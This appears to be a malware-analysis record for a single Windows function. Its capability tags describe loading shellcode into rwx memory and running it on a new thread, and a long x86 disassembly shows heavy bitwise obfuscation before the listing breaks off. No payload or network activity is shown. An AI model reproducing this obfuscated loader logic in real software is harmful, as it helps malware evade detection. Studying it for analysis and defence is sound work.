Function at 0x1000dd90
Capabilities:
Allocate or change rwx memory
Create thread
Get file size
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x5c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov ebx, edx
not ebx
mov ecx, edx
or ecx, 0x64f0401
mov esi, ebx
or esi, 0x111010e8
and ecx, 0x175f14e9
mov edi, ebx
and edi, 0xe0a02000
or edi, ecx
and esi, 0x175f14e9
mov eax, edx
and eax, 0x800cb16
or eax, esi
mov esi, ebx
and ebx, 0x4daafd8c
xor eax, edi
mov edi, esi
and edi, edx
mov dword [ebp - 0x18], eax
and eax, edx
mov dword [ebp - 0x14], eax
and edx, 0xb2550273
or edx, ebx
xor edx, 0xb2550273
or edi, edx
mov ebx, edi
not ebx
and edi, 0x5e2a097e
mov edx, ebx
and edx, 0xa1d5f681
or edx, edi
xor edx, 0xc9d1093a
and ebx, 0x97fb0044
or ebx, edx
mov edx, ebx
not edx
mov edi, esi
or edi, 0x6804ffbb
mov eax, edx
xor eax, edi
and eax, edx
xor edx, ebx
and edx, edi
xor edx, ebx
or edx, eax
mov edi, edx
xor edi, 0x97fb0044
xor edx, 0x6804ffbb
mov eax, edi
and eax, 0x9352d1a
mov ebx, edx
and ebx, 0xf6cad2e5
or ebx, eax
or edi, 0xf1b030e8
mov eax, edi
and eax, 0x9c7f9871
and edx, 0x2004706
or edx, eax
mov eax, ebx
xor eax, 0x300620c
xor ebx, 0xf8851df2
or edi, ebx
and ebx, 0x9c7f9871
and eax, 0x6380678e
or eax, ebx
xor eax, edx
not edi
or edi, eax
mov eax, edi
xor eax, 0x9f6678c3
and eax, edi
mov edx, edi
not edx
and edx, 0x9f6678c3
or edx, eax
not eax
and eax, 0x6099873c
and edx, 0x9f6678c3
or edx, eax
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x3ec7adbf
and edx, 0xc1385240
or edx, eax
xor edx, 0x3ec7adbf
xor ecx, edx
and ecx, edx
mov eax, dword [ebp - 0x18]
not eax
and esi, eax
mov edx, dword [ebp - 0x14]
or edx, esi
not edx
or edx, eax
mov dword [ebp - 0x14], edx
mov edx, ecx
not edx
mov eax, edx
mov dword [ebp - 0x20], edx
and eax, 0x27c424e4
mov edi, ecx
and edi, 0xd83bdb1b
or edi, eax
mov ebx, edi
xor ebx, 0x9d802
xor edi, 0x27c424e4
mov esi, edi
and esi, 0xdf3603bd
and ebx, 0x20c9fc42
or ebx, esi
and edx, ecx
mov eax, edx
not eax
or edi, eax
and eax, 0xdf3603bd
and edx, 0x20c9fc42
or edx, eax
xor edx, ebx
not edi
or edi, edx
mov esi, dword [ebp - 0x14]
mov eax, esi
not eax
mov dword [ebp - 0x24], eax
and eax, 0xcc5d7692
and esi, 0x33a2896d
or esi, eax
mov eax, esi
xor eax, 0xcc5d7692
mov edx, eax
mov dword [ebp - 0x1c], eax
xor esi, 0x33a2896d
mov eax, esi
and eax, 0x24f78b6
and edx, 0xfdb08749
or edx, eax
xor edx, 0xdad35c61
mov dword [ebp - 0x28], edx
mov eax, edx
xor eax, esi
mov dword [ebp - 0x18], eax
mov eax, edi
xor eax, esi
and eax, edi
mov dword [ebp - 0x2c], eax
and esi, edi
mov dword [ebp - 0x30], esi
mov eax, edi
mov ebx, edi
not ebx
mov edi, ebx
and edi, 0x27624200
and eax, 0x19928
or eax, edi
mov edx, dword [ebp - 0x20]
mov edi, edx
and edi, 0xb8563e3f
and ecx, 0x47a9c1c0
or ecx, edi
xor ecx, 0x9f35e517
xor edx, ecx
and edx, ecx
mov ecx, dword [ebp - 0x28]
and dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x14]
and esi, 0x90980040
mov ecx, dword [ebp - 0x24]
and ecx, 0x48042497
or ecx, esi
mov edi, ecx
xor edi, 0x40042411
or edi, 0x200d908
xor ecx, 0x80800000
and ecx, 0x88800086
and edi, 0x521cfd59
or edi, ecx
xor eax, 0x19928
or eax, 0xd89c24d7
mov ecx, edx
not ecx
xor edx, ecx
and edx, eax
or eax, ecx
xor edx, ecx
not eax
or edx, eax
mov eax, edi
xor eax, 0x521cfd59
mov esi, dword [ebp - 0x18]
mov ecx, esi
not ecx
xor edi, 0xade302a6
and eax, ecx
or ecx, edi
and edi, esi
or edi, eax
not ecx
or edi, ecx
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x4c18b7ad
and ecx, edx
or edx, 0xb3e74852
mov esi, edx
and edx, 0x85ca6335
and eax, 0x48109488
or eax, edx
mov edx, ecx
not edx
or esi, edx
and edx, 0x85ca6335
and ecx, 0x7a359cca
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, edi
xor eax, 0x4c18b7ad
and eax, edi
mov ecx, edi
not edi
or ecx, 0xb3e74852
mov edx, ecx
and edx, 0x5a6261ca
and edi, 0x4189625
or edi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0x5a6261ca
and eax, 0xa59d9e35
or eax, edx
xor eax, edi
not ecx
or ecx, eax
xor ecx, esi
mov dword [ebp - 0x14], ecx
and ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
or ecx, ebx
or ecx, dword [ebp - 0x2c]
mov eax, ecx
not eax
mov edx, eax
and edx, 0xc72ae45
mov esi, ecx
and esi, 0xf38d51ba
or esi, edx
mov edx, esi
xor edx, 0x1000108
xor esi, 0x100000
or eax, 0x30101002
or esi, 0x42e96214
and esi, 0x72f97216
and edx, 0x5028948
or edx, esi
and eax, 0x72f97216
and ecx, 0x880404a1
or ecx, eax
xor ecx, edx
mov eax, ecx
xor eax, 0x8086481
xor ecx, 0x3512994a
mov edx, ecx
and edx, 0xc7e51274
and eax, 0x381aed8b
or eax, edx
xor eax, 0xc7e51274
xor ecx, eax
and ecx, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x7723752
mov edi, ecx
and edi, 0xf88dc8ad
or edi, eax
mov eax, dword [ebp - 0x14]
mov esi, eax
not esi
mov dword [ebp - 0x1c], esi
or eax, 0x420640b0
and eax, 0x424640f8
mov edx, esi
and edx, 0x2c119006
or edx, eax
mov eax, esi
or eax, 0x400048
and eax, 0x424640f8
mov esi, dword [ebp - 0x14]
and esi, 0x91a82f01
or esi, eax
xor esi, edx
mov eax, edi
xor eax, 0xf88dc8ad
mov dword [ebp - 0x20], eax
mov edx, edi
xor edx, 0x2b23a71c
and edx, eax
mov eax, edx
not eax
mov dword [ebp - 0x18], eax
and dword [ebp - 0x18], 0xa77dc1d4
and edx, 0x58823e2b
add edx, dword [ebp - 0x18]
or ebx, 0x2c51904e
or eax, ebx
and ebx, 0xa77dc1d4
and ecx, 0x50822e21
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, esi
xor ebx, eax
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0xa8bc6d4c
mov ecx, dword [ebp - 0x1c]
and ecx, 0x574392b3
or ecx, eax
xor edi, 0x7723752
or edx, edi
and edi, 0xa8bc6d4c
mov eax, dword [ebp - 0x20]
and eax, 0x574392b3
or eax, edi
xor eax, ecx
mov ecx, edx
not ecx
or ecx, eax
not ecx
or ecx, ebx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x94d98779
mov esi, ecx
and esi, 0x6b267886
or esi, eax
xor esi, 0x9e95f527
mov eax, ecx
and eax, 0xa4c725e
or eax, esi
or edx, 0xf5b38da1
mov esi, edx
not esi
and edx, 0xe92caeb6
xor ecx, 0x487010
and ecx, esi
mov dword [ebp - 0x14], ecx
and esi, 0x2405048
or esi, edx
mov ecx, eax
mov ebx, eax
xor ebx, 0xea6824e
and ebx, eax
mov edi, ebx
not edi
mov edx, edi
and edx, 0xb1ff2626
and ebx, 0x4e00d9d9
or ebx, edx
mov edx, esi
xor edx, 0x16d35149
xor esi, 0x1875d307
and esi, edx
or edx, eax
or ecx, 0xf1597db1
not eax
or edi, ecx
and ecx, 0xb1ff2626
and eax, 0xe008048
or eax, ecx
xor eax, ebx
not edi
or edi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x60c624c
and esi, 0x8401892
or esi, ecx
mov ebx, dword [ebp - 0x14]
mov ecx, ebx
not ecx
or eax, ecx
and ecx, 0xf71d676d
and ebx, 0x8401012
or ebx, ecx
xor ebx, esi
not eax
or eax, ebx
xor eax, edi
mov ecx, edx
not ecx
mov esi, eax
not esi
mov edi, esi
and edi, 0xd81fb151
and eax, 0x27e04eae
or eax, edi
or esi, edx
and edx, 0xd81fb151
and ecx, 0x240420e
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x3a14f866
and eax, esi
or esi, 0xc5eb0799
mov edx, eax
not edx
mov edi, esi
and edi, 0x1beee9cb
and ecx, 0x20101024
or ecx, edi
or esi, edx
and edx, 0x1beee9cb
and eax, 0xe4111634
or eax, edx
xor eax, ecx
mov ecx, esi
not ecx
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov esi, ecx
xor esi, 0xc1e8bad0
xor ecx, 0x3e17452f
mov eax, ecx
mov edi, ecx
and eax, 0x88009400
mov edx, esi
and edx, 0x22d20110
or edx, eax
xor edx, 0x22d20110
mov ecx, esi
mov dword [ebp - 0x24], esi
and ecx, 0x552d6aef
or ecx, edx
mov eax, ecx
xor eax, 0x410140a5
xor ecx, 0x82c08100
and ecx, 0x96ecab4a
and eax, 0x691354b5
or eax, ecx
mov ecx, eax
xor ecx, 0x691354b5
xor eax, 0x86a8a108
and eax, 0x8ebab5ac
mov edx, ecx
and edx, 0x71454a53
or edx, eax
xor edx, 0x1d57ffd0
and ecx, 0x93ed4a7c
or ecx, edx
mov dword [ebp - 0x18], edi
mov eax, edi
and eax, 0x362f625b
and esi, 0xc9d09da4
or esi, eax
xor esi, 0xa5c22827
or esi, edi
mov edi, ecx
xor edi, 0x9e594130
and edi, ecx
mov eax, esi
mov ebx, esi
mov edx, esi
or esi, ecx
not ecx
and ecx, 0x9e594130
or ecx, edi
not eax
xor ebx, 0x9e594130
and ebx, eax
or eax, 0x9e594130
mov edi, eax
and edi, 0x723fb32f
and edx, 0x1800cc0
or edx, edi
mov edi, ebx
not edi
or eax, edi
and edi, 0x723fb32f
and ebx, 0x8dc04cd0
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
xor edx, eax
not edx
and edx, ecx
xor edx, eax
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, esi
xor eax, 0x23f678bd
and eax, esi
or esi, 0xdc098742
mov edx, esi
and edx, 0xfc973409
and ecx, 0x36048b4
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xfc973409
and eax, 0x368cbf6
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
xor edx, 0xb01b32c1
xor esi, 0x4fe4cd3e
mov eax, esi
mov dword [ebp - 0x14], esi
and eax, 0x48141028
mov ecx, edx
mov dword [ebp - 0x20], edx
and ecx, 0x860028c1
or ecx, eax
mov eax, ecx
xor eax, 0x881
xor ecx, 0x18925000
and ecx, 0x9e927040
and eax, 0x400408a9
or eax, ecx
or esi, 0x8e103040
and esi, 0x9e927040
and edx, 0x21698716
or edx, esi
xor edx, eax
mov ecx, edx
xor ecx, 0x102028
xor edx, 0xa0b9740
and edx, 0xdf4b9fc6
and ecx, 0x20b46039
or ecx, edx
mov esi, dword [ebp - 0x24]
mov eax, esi
or eax, 0xee457dad
mov edi, eax
and edi, 0xa690cd60
mov edx, dword [ebp - 0x18]
and edx, 0x112a0212
or edx, edi
mov ebx, dword [ebp - 0x1c]
xor ebx, 0xd0523882
and ebx, esi
mov edi, ebx
not edi
or eax, edi
and edi, 0xa690cd60
and ebx, 0x596f329f
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
xor edx, 0xb0000ce8
xor eax, 0x8d41010
and eax, 0x4dd57112
and edx, 0xb22a8eed
or edx, eax
mov eax, dword [ebp - 0x18]
and eax, 0xd5428b13
and esi, 0x2abd74ec
or esi, eax
xor ecx, 0x20b46039
or ecx, dword [ebp - 0x14]
xor edx, 0xb22a8eed
xor esi, 0x2abd74ec
or esi, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x3accfde6
mov edi, eax
and eax, 0xc5330219
or eax, edx
xor eax, 0x3accfde6
or eax, esi
mov edx, esi
mov ebx, esi
not ebx
and edx, ecx
and edi, ebx
or edi, edx
not edi
or edi, ecx
or ebx, ecx
mov ecx, ebx
xor ecx, eax
or ebx, eax
not ebx
or ebx, ecx
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x234a9fe6
xor edi, 0x1d4eb419
and edi, eax
mov esi, eax
and esi, 0xdcb56019
or esi, ecx
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x74247cce
mov edx, ebx
and edx, 0x8bdb8331
or edx, ecx
mov dword [ebp - 0x18], edx
mov edx, esi
xor edx, 0x234a9fe6
mov dword [ebp - 0x24], edx
or edx, 0x1d4eb419
mov dword [ebp - 0x28], esi
xor esi, 0xc0814000
mov ecx, edx
and ecx, 0x32320162
and esi, 0xc0814a84
or esi, ecx
mov ecx, edi
not ecx
or edx, ecx
and ecx, 0x32320162
and edi, 0xcdcdfe9d
or edi, ecx
xor edi, esi
not edx
or edx, edi
mov ecx, dword [ebp - 0x18]
mov edi, ecx
xor edi, 0x8bdb8331
xor ecx, 0x96953728
and ecx, edi
mov esi, ecx
not esi
mov dword [ebp - 0x1c], esi
and dword [ebp - 0x1c], 0xed11be3d
and ecx, 0x12ee41c2
add ecx, dword [ebp - 0x1c]
or eax, 0xe2b14be6
or esi, eax
and eax, 0xed11be3d
and ebx, 0x104e0000
or ebx, eax
xor ebx, ecx
not esi
or esi, ebx
mov eax, esi
xor eax, esi
not eax
and eax, edx
xor eax, esi
mov esi, dword [ebp - 0x28]
xor esi, 0xd8000008
mov edx, dword [ebp - 0x24]
mov ecx, edx
and ecx, 0x7f5ee35
and esi, 0xf80a11ca
or esi, ecx
mov ecx, dword [ebp - 0x18]
xor ecx, 0x74247cce
or edx, ecx
and ecx, 0x7f5ee35
and edi, 0xf80a11ca
or edi, ecx
xor edi, esi
not edx
or edx, edi
mov edi, eax
not edi
mov ecx, edi
and ecx, 0x443d4d54
and eax, 0xbbc2b2ab
or eax, ecx
mov ecx, edx
not ecx
or edi, edx
and edx, 0x443d4d54
and ecx, 0xbbc2b2ab
or ecx, edx
xor ecx, eax
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0x1dc22073
mov edx, edi
xor edx, 0x1dc22073
and edx, edi
or edx, ecx
mov ecx, edx
xor ecx, 0x2000c084
xor edx, 0x18002020
and edx, 0xda3d3f28
and ecx, 0x25c2c0d7
or ecx, edx
mov esi, ecx
xor esi, 0x25c2c0d7
xor ecx, 0x82083620
and ecx, 0x83083674
mov edx, esi
and edx, 0x7cf7c98b
or edx, ecx
xor edx, 0x67b3d9cd
and esi, 0xe4bbefb9
or esi, edx
and eax, 0xc98d165c
and edi, 0x3672e9a3
or edi, eax
mov eax, edi
xor eax, 0x3672e9a3
xor edi, 0x40050650
and edi, 0x64350751
mov ecx, eax
and ecx, 0x9bcaf8ae
or ecx, edi
xor ecx, 0x7f711717
and eax, 0x1b441046
or eax, ecx
mov ecx, esi
not ecx
mov edx, esi
and edx, 0x2b1c950e
xor esi, 0x47aa1dc8
and esi, ecx
mov edi, ecx
and edi, 0xd4e36af1
or edi, edx
mov ecx, eax
not ecx
and eax, 0x92795744
mov edx, ecx
and edx, 0x6d86a8bb
or edx, eax
xor edi, 0xd4e36af1
mov ebx, edx
xor ebx, 0x6d86a8bb
xor edx, 0x2a2cb573
and edx, ebx
or ebx, edi
and edi, 0xb855e237
or esi, edi
and ecx, 0x47aa1dc8
or ecx, edx
mov eax, ecx
xor eax, ecx
not eax
and eax, esi
xor eax, ecx
not ebx
or ebx, eax
mov dword [ebp - 0x1c], ebx
mov ebx, dword [ebp - 0x20]
mov edi, ebx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0xafda9e2d
and ebx, 0x502561d2
or ebx, eax
xor ebx, 0xe34e350e
or ebx, ecx
mov eax, ecx
and eax, 0x1fb517df
and edi, 0xe04ae820
or edi, eax
mov eax, edi
xor eax, 0x1fb517df
mov ecx, eax
or ecx, 0x4c94ab23
mov esi, ecx
not esi
mov edx, esi
xor edx, ebx
and edx, esi
xor esi, ecx
and esi, ebx
xor esi, ecx
or esi, edx
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x32684018
mov ebx, esi
and ebx, 0x810314c5
or ebx, edx
mov edx, ebx
xor edx, 0x20441
xor ebx, 0x246ca930
and ebx, 0xa56db9b4
and edx, 0x12024449
or edx, ebx
or ecx, 0xa1691094
and ecx, 0xa56db9b4
and esi, 0x48900202
or esi, ecx
xor esi, edx
mov ecx, edi
xor ecx, 0xe04ae820
xor edi, 0xe04ae821
and edi, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edi
mov eax, ecx
not eax
and ecx, 0xfba447c9
and eax, 0x45bb836
or eax, ecx
mov edx, esi
not edx
mov ecx, edx
and ecx, 0x527bae52
mov ebx, esi
and ebx, 0xad8451ad
or ebx, ecx
mov edi, eax
xor edi, 0x45bb836
xor eax, 0xfba447c9
mov ecx, edi
and ecx, 0x527bae52
mov dword [ebp - 0x14], ecx
mov ecx, eax
and ecx, 0xad8451ad
add ecx, dword [ebp - 0x14]
xor ecx, ebx
mov ebx, esi
and ebx, 0xd7890741
and edx, 0x2876f8be
or edx, ebx
or esi, eax
and eax, 0xd7890741
and edi, 0x2876f8be
or edi, eax
xor edi, edx
not esi
or esi, edi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x187e155c
and ecx, 0xe781eaa3
or ecx, eax
mov eax, esi
not eax
or edi, esi
and esi, 0x187e155c
and eax, 0xe781eaa3
or eax, esi
xor eax, ecx
not edi
or edi, eax
mov esi, edi
not esi
mov ecx, edi
mov eax, esi
and eax, 0xda7abee9
and edi, 0x25854116
or edi, eax
xor edi, 0xda7abee9
or edi, esi
and esi, 0x58177ba5
and ecx, 0xa7e8845a
or ecx, esi
mov eax, ecx
xor eax, 0x268841a
xor ecx, 0x50000080
and ecx, 0xf58000c0
and eax, 0xa7fff3f
or eax, ecx
mov ecx, eax
xor ecx, 0xf0800000
xor eax, 0x86c702e
and ecx, 0xf2938f11
and eax, 0xd6c70ee
or eax, ecx
mov ebx, eax
xor ebx, 0x20030211
xor eax, 0x524604c
and eax, 0xd7b4ed4c
and ebx, 0x284b12b3
or ebx, eax
mov esi, ebx
xor esi, 0x284b12b3
mov eax, ebx
xor eax, 0xc5242c00
and eax, 0xc5253e33
xor ebx, 0x30a6b449
and ebx, esi
and esi, 0x3adac1cc
or esi, eax
mov ecx, edi
not ecx
mov dword [ebp - 0x14], ecx
mov eax, edi
and eax, 0x18eda6fa
mov edx, edi
xor edx, 0xe7125905
and edx, ecx
or edx, eax
mov dword [ebp - 0x20], edx
mov eax, esi
xor eax, 0x3adac1cc
mov dword [ebp - 0x18], eax
mov ecx, esi
xor ecx, 0xddc898c9
and ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xe86746b4
and ecx, 0x1798b94b
or ecx, eax
mov eax, ebx
not eax
or edx, eax
and eax, 0xe86746b4
and ebx, 0x1798b94b
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
xor edx, dword [ebp - 0x20]
xor esi, 0xc5253e33
mov eax, esi
and eax, 0x8bb96892
mov ecx, dword [ebp - 0x18]
and ecx, 0x7446976d
or ecx, eax
mov eax, dword [ebp - 0x14]
or esi, eax
and eax, 0x8bb96892
and edi, 0x7446976d
or edi, eax
xor edi, ecx
not esi
or esi, edi
not esi
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edx, esi
and edx, 0x1c99d0e9
and ecx, 0xe3662f16
or ecx, edx
mov edx, eax
not edx
or esi, edx
and edx, 0x1c99d0e9
and eax, 0xe3662f16
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
and eax, 0xc104d7a9
and esi, 0x3efb2856
or esi, eax
mov edi, esi
xor edi, 0x2630010
xor esi, 0x80048729
and esi, 0xbc9caf6f
and edi, 0x43635090
or edi, esi
mov dword [ebp - 0x18], edi
mov ebx, edi
xor ebx, 0xbc9caf6f
mov dword [ebp - 0x14], ebx
xor edi, 0x43635090
mov eax, edi
and eax, 0x6424e05b
and ebx, 0x9bdb1fa4
or ebx, eax
mov ecx, dword [ebp - 0x1c]
mov edx, ecx
not edx
mov esi, edx
and esi, 0xcee7176f
mov eax, ecx
and eax, 0x3118e890
or eax, esi
mov esi, ebx
xor esi, 0x11180880
xor ebx, 0x4424004b
and ebx, 0xcee7176f
and esi, 0x3118e890
or esi, ebx
xor esi, eax
mov eax, ecx
mov ebx, ecx
xor ebx, 0x1bb4b400
and ebx, ecx
not esi
or esi, edx
and edx, 0x40400
and eax, 0x1bb0b000
or eax, edx
xor eax, 0x1bb0b000
or ebx, eax
mov ecx, dword [ebp - 0x18]
xor ecx, 0xa7281b6f
mov eax, dword [ebp - 0x14]
and ecx, eax
and edi, 0x23728dd2
and eax, 0xdc8d722d
or eax, edi
mov edx, eax
xor edx, 0xdc8d722d
xor eax, 0x38c639d2
and eax, edx
mov edi, esi
not edi
mov dword [ebp - 0x14], edi
mov edx, ecx
or edx, eax
xor edx, ebx
mov dword [ebp - 0x18], edx
mov eax, esi
and eax, 0x4fdfa30
mov ebx, edi
and ebx, 0xfb0205cf
or ebx, eax
mov ecx, edx
not ecx
mov eax, edx
or eax, 0x6a020100
and eax, 0x6a469b20
mov edi, ecx
and edi, 0x4b96010
or edi, eax
mov edx, ecx
or edx, 0x449a20
and edx, 0x6a469b20
mov eax, dword [ebp - 0x18]
and eax, 0x910004cf
or eax, edx
xor eax, edi
mov edi, eax
xor edi, eax
not edi
and edi, ebx
xor edi, eax
mov edx, dword [ebp - 0x14]
mov eax, edx
and eax, 0xef0bf7aa
and esi, 0x10f40855
or esi, eax
mov eax, dword [ebp - 0x18]
or edx, eax
and eax, 0xef0bf7aa
and ecx, 0x10f40855
or ecx, eax
xor ecx, esi
mov esi, edx
not esi
or esi, ecx
not esi
or esi, edi
mov dword [ebp - 0x14], esi
mov edx, esi
not edx
mov eax, edx
and eax, 0x6bc87392
mov ecx, esi
xor ecx, 0x6bc87392
and ecx, esi
or ecx, eax
mov edi, ecx
xor edi, 0x94378c6d
mov esi, ecx
xor esi, 0x6bc87392
mov eax, esi
or eax, edi
xor ecx, 0xae277bc6
and ecx, eax
and edi, 0xf14de668
mov eax, esi
and eax, 0xeb21997
or eax, edi
xor eax, 0xeb21997
or eax, esi
mov esi, ecx
xor esi, 0x3a10f7ab
xor ecx, 0xc5ef0854
mov edi, ecx
and edi, 0x492619e2
and esi, 0xb6d9e61d
or esi, edi
mov edi, eax
not edi
or ecx, eax
and eax, 0x492619e2
and edi, 0xb6d9e61d
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x750b8f67
mov esi, eax
and eax, 0x8af47098
or eax, edi
and esi, ecx
mov edi, esi
not edi
or ecx, edi
and edi, 0x750b8f67
and esi, 0x8af47098
or esi, edi
xor esi, eax
not ecx
or ecx, esi
mov edi, ecx
not edi
mov eax, ecx
xor eax, 0x8da8dc2c
and eax, edi
mov esi, eax
not esi
mov ebx, esi
and ebx, 0x31817b9c
and eax, 0xce7e8463
or eax, ebx
or edi, 0x8da8dc2c
or esi, edi
and edi, 0x31817b9c
and ecx, 0x42560043
or ecx, edi
xor ecx, eax
not esi
or esi, ecx
mov ecx, esi
xor ecx, 0x21103c2
xor esi, 0x8da8dc2c
mov eax, esi
and eax, 0x75cef031
and ecx, 0x8a310fce
or ecx, eax
xor ecx, 0x8a310fce
or ecx, esi
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
or eax, 0x18020100
and eax, 0x99229387
mov edi, edx
and edi, 0x40c82870
or edi, eax
mov eax, ecx
xor eax, 0xc1e8baf7
and eax, ecx
mov ebx, eax
not ebx
mov esi, ecx
or esi, ebx
and ebx, 0x99229387
and eax, 0x66dd6c78
or eax, ebx
xor eax, edi
not esi
or esi, eax
not eax
and eax, 0x3e174508
and esi, 0xc1e8baf7
or esi, eax
not esi
and edx, 0xd7a39b24
and ecx, 0x285c64db
or ecx, edx
xor ecx, 0x285c64db
or ecx, esi
mov ebx, ecx
not ebx
mov eax, ecx
mov dword [ebp - 0x14], ecx
and eax, 0xb130805
mov edx, ebx
and edx, 0x94881258
or edx, eax
mov eax, edx
xor eax, 0x84080258
xor edx, 0x2a55c8a1
and edx, 0x3ad5d8a1
and eax, 0x850a025c
or eax, edx
or ecx, 0x1a911801
and ecx, 0x3ad5d8a1
mov edx, ebx
and edx, 0x40202502
or edx, ecx
xor edx, eax
mov ecx, dword [ebp - 0x18]
mov esi, ecx
not esi
mov edi, esi
or edi, 0xe612004c
mov eax, ecx
and eax, 0xa0e803
and edi, 0xe71712fc
or edi, eax
mov eax, esi
and eax, 0x5d618075
and ecx, 0xa29e7f8a
or ecx, eax
mov dword [ebp - 0x1c], ecx
mov ecx, edx
xor ecx, 0x6064e5a2
mov dword [ebp - 0x20], ecx
xor edx, 0x9f9b1a5d
mov eax, edx
and eax, 0xfe5a054c
and ecx, 0x1a5fab3
or ecx, eax
not ecx
or ecx, edx
mov dword [ebp - 0x24], ecx
and dword [ebp - 0x20], esi
or esi, edx
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x18]
and edx, eax
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebp - 0x1c]
xor ecx, 0x5cc47ac6
and eax, 0x1a5fab3
or eax, ecx
mov edx, dword [ebp - 0x14]
mov ecx, edx
and ecx, 0xb0026a37
and ebx, 0x4ffd95c8
or ebx, ecx
xor ebx, 0xb1a79084
xor edx, ebx
and edx, ebx
mov dword [ebp - 0x14], edx
mov ecx, edi
xor ecx, 0xe71712fc
mov edx, edi
xor edx, 0x18e8ed03
mov dword [ebp - 0x30], edx
xor edi, 0x1217882
and edi, edx
mov ebx, ecx
and ebx, 0x1819081
or ebx, edi
mov edi, eax
xor edi, 0x95c994c9
mov esi, edi
and esi, eax
mov edx, esi
not edx
mov dword [ebp - 0x18], edx
and dword [ebp - 0x18], 0x66119278
and esi, 0x99ee6d87
add esi, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
not dword [ebp - 0x1c]
and edi, dword [ebp - 0x1c]
mov dword [ebp - 0x18], edi
not dword [ebp - 0x18]
or edx, dword [ebp - 0x18]
and dword [ebp - 0x18], 0x66119278
and edi, 0x99ee6d87
add edi, dword [ebp - 0x18]
xor edi, esi
not edx
or edx, edi
and ebx, 0x63b7fab7
xor ebx, edx
mov edx, ecx
and edx, 0x81d0a1
mov esi, dword [ebp - 0x30]
and esi, 0x9d262a56
or esi, edx
mov edx, dword [ebp - 0x1c]
or ecx, edx
and edx, 0x62d9d5a9
and eax, 0x9d262a56
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov eax, ebx
xor eax, 0xf7fffeff
mov edx, eax
and edx, 0x7e7b9f43
and ebx, 0x818460bc
or ebx, edx
mov edx, ecx
not edx
or eax, ecx
and ecx, 0x7e7b9f43
and edx, 0x818460bc
or edx, ecx
xor edx, ebx
not eax
or eax, edx
mov esi, dword [ebp - 0x14]
mov ecx, esi
mov edx, dword [ebp - 0x24]
and esi, edx
mov edi, esi
not edx
not ecx
mov esi, edx
xor esi, ecx
and esi, edx
and ecx, edx
or ecx, edi
mov edx, esi
not edx
mov edi, edx
and edi, 0xa23de351
and esi, 0x5dc21cae
or esi, edi
mov edi, ecx
not edi
or edx, edi
and edi, 0xa23de351
and ecx, 0x5dc21cae
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, edx
not ecx
mov esi, edx
xor esi, 0x6f21acbf
and ecx, esi
and esi, edx
or esi, ecx
xor eax, 0x6f21acbf
mov ecx, esi
xor ecx, esi
not ecx
and ecx, eax
xor ecx, esi
mov eax, dword [ebp - 0x28]
not eax
mov edx, dword [ebp - 0x2c]
or edx, dword [ebp - 0x20]
or edx, eax
mov eax, edx
not eax
and edx, 0x8ea87cae
and eax, 0x71578351
or eax, edx
mov edx, eax
xor edx, 0x70550310
xor eax, 0x4880cae
and eax, 0x58a8cef
and edx, 0xfa757310
or edx, eax
mov eax, edx
xor eax, 0xc8004200
mov esi, ecx
not esi
xor edx, 0x58a8cef
mov edi, esi
or edi, edx
not edi
and esi, 0x36f7b517
and ecx, 0xc9084ae8
or ecx, esi
and edx, 0x36f7b517
and eax, 0xc9084ae8
or eax, edx
xor eax, ecx
or eax, edi
mov esi, eax
not esi
mov ecx, esi
or ecx, 0x9906
mov edx, eax
or edx, 0x8e40000
and edx, 0x8e49906
mov edi, esi
and edi, 0x240322c8
or edi, edx
and ecx, 0x8e49906
mov edx, eax
and edx, 0xd3184431
or edx, ecx
xor edx, edi
mov ecx, edx
xor ecx, 0xdbfc4431
and esi, 0xd101a7d
and eax, 0xf2efe582
or eax, esi
mov edi, eax
xor edi, 0xf2efe582
xor eax, 0xd000a11
and eax, 0xed4d4a93
mov esi, edi
and esi, 0x12b2b56c
or esi, eax
xor esi, 0x12b2b56c
or esi, edi
mov eax, esi
not eax
xor edx, 0x2403bbce
and eax, edx
or edx, esi
and esi, ecx
or esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x4b037a7d
